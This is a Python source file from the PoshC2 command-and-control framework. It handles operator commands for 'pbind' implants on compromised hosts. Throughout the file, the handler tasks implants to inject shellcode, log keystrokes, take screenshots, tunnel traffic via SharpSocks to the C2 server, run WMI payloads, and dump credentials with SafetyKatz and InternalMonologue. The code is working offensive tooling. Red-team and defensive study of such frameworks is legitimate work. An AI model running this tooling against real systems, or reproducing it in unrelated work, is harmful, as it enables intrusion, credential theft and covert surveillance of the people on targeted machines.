import base64, re, traceback, os, string, sys
from prompt_toolkit import PromptSession
from prompt_toolkit.history import FileHistory
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.styles import Style
from poshc2.client.Alias import cs_alias, cs_replace
from poshc2.Colours import Colours
from poshc2.Utils import validate_sleep_time, argp, load_file, gen_key
from poshc2.server.AutoLoads import check_module_loaded, run_autoloads_sharp
from poshc2.client.Help import sharp_help
from poshc2.server.Config import PoshInstallDirectory, PoshProjectDirectory, SocksHost, PayloadsDirectory
from poshc2.server.Core import print_bad
from poshc2.client.cli.CommandPromptCompleter import FilePathCompleter
from poshc2.server.PowerStatus import getpowerstatus
from poshc2.server.database.DB import new_task, unhide_implant, kill_implant, get_implantdetails, get_sharpurls
from poshc2.server.database.DB import select_item, new_c2_message, get_powerstatusbyrandomuri, update_label, get_randomuri
def handle_pbind_command(command, user, randomuri, implant_id):
# convert randomuri to parent randomuri
oldrandomuri = randomuri
p = get_implantdetails(randomuri)
newimplant_id = re.search(r'(?<=\s)\S*', p.Label).group()
if newimplant_id is not None:
randomuri = get_randomuri(newimplant_id)
# alias mapping
for alias in cs_alias:
if alias[0] == command[:len(command.rstrip())]:
command = alias[1]
# alias replace
for alias in cs_replace:
if command.startswith(alias[0]):
command = command.replace(alias[0], alias[1])
original_command = command
command = command.strip()
run_autoloads_sharp(command, randomuri, user, isPBind=True)
if command.startswith("searchhistory"):
searchterm = (command).replace("searchhistory ", "")
with open('%s/.implant-history' % PoshProjectDirectory) as hisfile:
for line in hisfile:
if searchterm in line.lower():
print(Colours.GREEN + line.replace("+",""))
elif command.startswith("searchhelp"):
searchterm = (command).replace("searchhelp ", "")
helpful = sharp_help.split('\n')
for line in helpful:
if searchterm in line.lower():
print(Colours.GREEN + line)
elif command.startswith("upload-file"):
source = ""
destination = ""
if command == "upload-file":
style = Style.from_dict({
'': '#80d130',
})
session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style)
try:
source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*"))
source = PayloadsDirectory + source
except KeyboardInterrupt:
return
while not os.path.isfile(source):
print("File does not exist: %s" % source)
source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*"))
source = PayloadsDirectory + source
destination = session.prompt("Location to upload to: ")
else:
args = argp(command)
source = args.source
destination = args.destination
try:
destination = destination.replace("\\", "\\\\")
print("")
print("Uploading %s to %s" % (source, destination))
uploadcommand = f"upload-file {source} {destination}"
new_task(f"pbind-command {uploadcommand}", user, randomuri)
except Exception as e:
print_bad("Error with source file: %s" % e)
traceback.print_exc()
elif command.startswith("unhide-implant"):
unhide_implant(oldrandomuri)
elif command.startswith("hide-implant"):
kill_implant(oldrandomuri)
elif command.startswith("inject-shellcode"):
params = re.compile("inject-shellcode", re.IGNORECASE)
params = params.sub("", command)
style = Style.from_dict({
'': '#80d130',
})
session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style)
try:
path = session.prompt("Location of shellcode file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.bin"))
path = PayloadsDirectory + path
except KeyboardInterrupt:
return
try:
shellcodefile = load_file(path)
if shellcodefile is not None:
new_task("pbind-command run-exe Core.Program Core Inject-Shellcode %s%s #%s" % (base64.b64encode(shellcodefile).decode("utf-8"), params, os.path.basename(path)), user, randomuri)
except Exception as e:
print("Error loading file: %s" % e)
elif command.startswith("migrate"):
params = re.compile("migrate", re.IGNORECASE)
params = params.sub("", command)
migrate(randomuri, user, params)
elif command == "kill-implant" or command == "exit":
impid = get_implantdetails(randomuri)
ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid.ImplantID)
if ri.lower() == "n":
print("Implant not terminated")
if ri == "" or ri.lower() == "y":
new_task("pbind-kill", user, randomuri)
kill_implant(oldrandomuri)
elif command == "sharpsocks":
from random import choice
allchar = string.ascii_letters
channel = "".join(choice(allchar) for x in range(25))
sharpkey = gen_key().decode("utf-8")
sharpurls = get_sharpurls()
sharpurls = sharpurls.split(",")
sharpurl = select_item("HostnameIP", "C2Server")
print("sharpsocks -c=%s -k=%s --verbose -l=%s\r\n" % (channel, sharpkey, SocksHost) + Colours.GREEN)
ri = input("Are you ready to start the SharpSocks in the implant? (Y/n) ")
if ri.lower() == "n":
print("")
if ri == "":
new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)
if ri.lower() == "y":
new_task("pbind-command run-exe SharpSocksImplantTestApp.Program SharpSocks -s %s -c %s -k %s -url1 %s -url2 %s -b 2000 --session-cookie ASP.NET_SessionId --payload-cookie __RequestVerificationToken" % (sharpurl, channel, sharpkey, sharpurls[0].replace("\"", ""), sharpurls[1].replace("\"", "")), user, randomuri)
elif (command.startswith("stop-keystrokes")):
new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri)
update_label("", randomuri)
elif (command.startswith("start-keystrokes")):
check_module_loaded("Logger.exe", randomuri, user)
new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri)
update_label("KEYLOG", randomuri)
elif (command.startswith("get-keystrokes")):
new_task("pbind-command run-exe Logger.KeyStrokesClass Logger %s" % command, user, randomuri)
elif (command.startswith("get-screenshotmulti")):
pwrStatus = get_powerstatusbyrandomuri(randomuri)
if (pwrStatus is not None and pwrStatus[7]):
ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ")
if ri.lower() == "n" or ri.lower() == "":
return
new_task(f"pbind-command {command}", user, randomuri)
update_label("SCREENSHOT", randomuri)
elif (command.startswith("get-screenshot")):
pwrStatus = get_powerstatusbyrandomuri(randomuri)
if (pwrStatus is not None and pwrStatus[7]):
ri = input("[!] Screen is reported as LOCKED, do you still want to attempt a screenshot? (y/N) ")
if ri.lower() == "n" or ri.lower() == "":
return
new_task(f"pbind-command {command}", user, randomuri)
elif (command == "get-powerstatus"):
getpowerstatus(randomuri)
new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri)
elif (command == "getpowerstatus"):
getpowerstatus(randomuri)
new_task("pbind-command run-dll PwrStatusTracker.PwrFrm PwrStatusTracker GetPowerStatusResult ", user, randomuri)
elif (command.startswith("stop-powerstatus")):
new_task(f"pbind-command {command}", user, randomuri)
update_label("", randomuri)
elif (command.startswith("stoppowerstatus")):
new_task(f"pbind-command {command}", user, randomuri)
update_label("", randomuri)
elif (command.startswith("pslo")):
new_task(f"pbind-{command}", user, randomuri)
elif (command.startswith("run-exe SharpWMI.Program")) and "execute" in command and "payload" not in command:
style = Style.from_dict({'': '#80d130'})
session = PromptSession(history=FileHistory('%s/.shellcode-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style)
try:
path = session.prompt("Location of base64 vbs/js file: ", completer=FilePathCompleter(PayloadsDirectory, glob="*.b64"))
path = PayloadsDirectory + path
except KeyboardInterrupt:
return
if os.path.isfile(path):
with open(path, "r") as p:
payload = p.read()
new_task("pbind-command %s payload=%s" % (command,payload), user, randomuri)
else:
print_bad("Could not find file")
elif (command.startswith("get-hash")):
check_module_loaded("InternalMonologue.exe", randomuri, user)
new_task("pbind-command run-exe InternalMonologue.Program InternalMonologue", user, randomuri)
elif (command.startswith("safetykatz")):
new_task("pbind-command run-exe SafetyKatz.Program %s" % command, user, randomuri)
elif command.startswith("loadmoduleforce"):
params = re.compile("loadmoduleforce ", re.IGNORECASE)
params = params.sub("", command)
new_task("pbind-loadmodule %s" % params, user, randomuri)
elif command.startswith("loadmodule"):
params = re.compile("loadmodule ", re.IGNORECASE)
params = params.sub("", command)
new_task("pbind-loadmodule %s" % params, user, randomuri)
elif command.startswith("listmodules"):
modules = os.listdir("%s/Modules/" % PoshInstallDirectory)
modules = sorted(modules, key=lambda s: s.lower())
print("")
print("[+] Available modules:")
print("")
for mod in modules:
if (".exe" in mod) or (".dll" in mod):
print(mod)
elif command.startswith("modulesloaded"):
ml = get_implantdetails(randomuri)
print(ml.ModsLoaded)
new_task("pbind-command listmodules", user, randomuri)
elif command == "help" or command == "?":
print(sharp_help)
elif command.startswith("beacon") or command.startswith("set-beacon") or command.startswith("setbeacon"):
new_sleep = command.replace('set-beacon ', '')
new_sleep = new_sleep.replace('setbeacon ', '')
new_sleep = new_sleep.replace('beacon ', '').strip()
if not validate_sleep_time(new_sleep):
print(Colours.RED)
print("Invalid sleep command, please specify a time such as 50s, 10m or 1h")
print(Colours.GREEN)
else:
new_task(f"pbind-command {command}", user, randomuri)
else:
if command:
new_task(f"pbind-command {original_command}", user, randomuri)
return
def migrate(randomuri, user, params=""):
print("Do not use migrate when in a pbind implant - use Inject-Shellcode")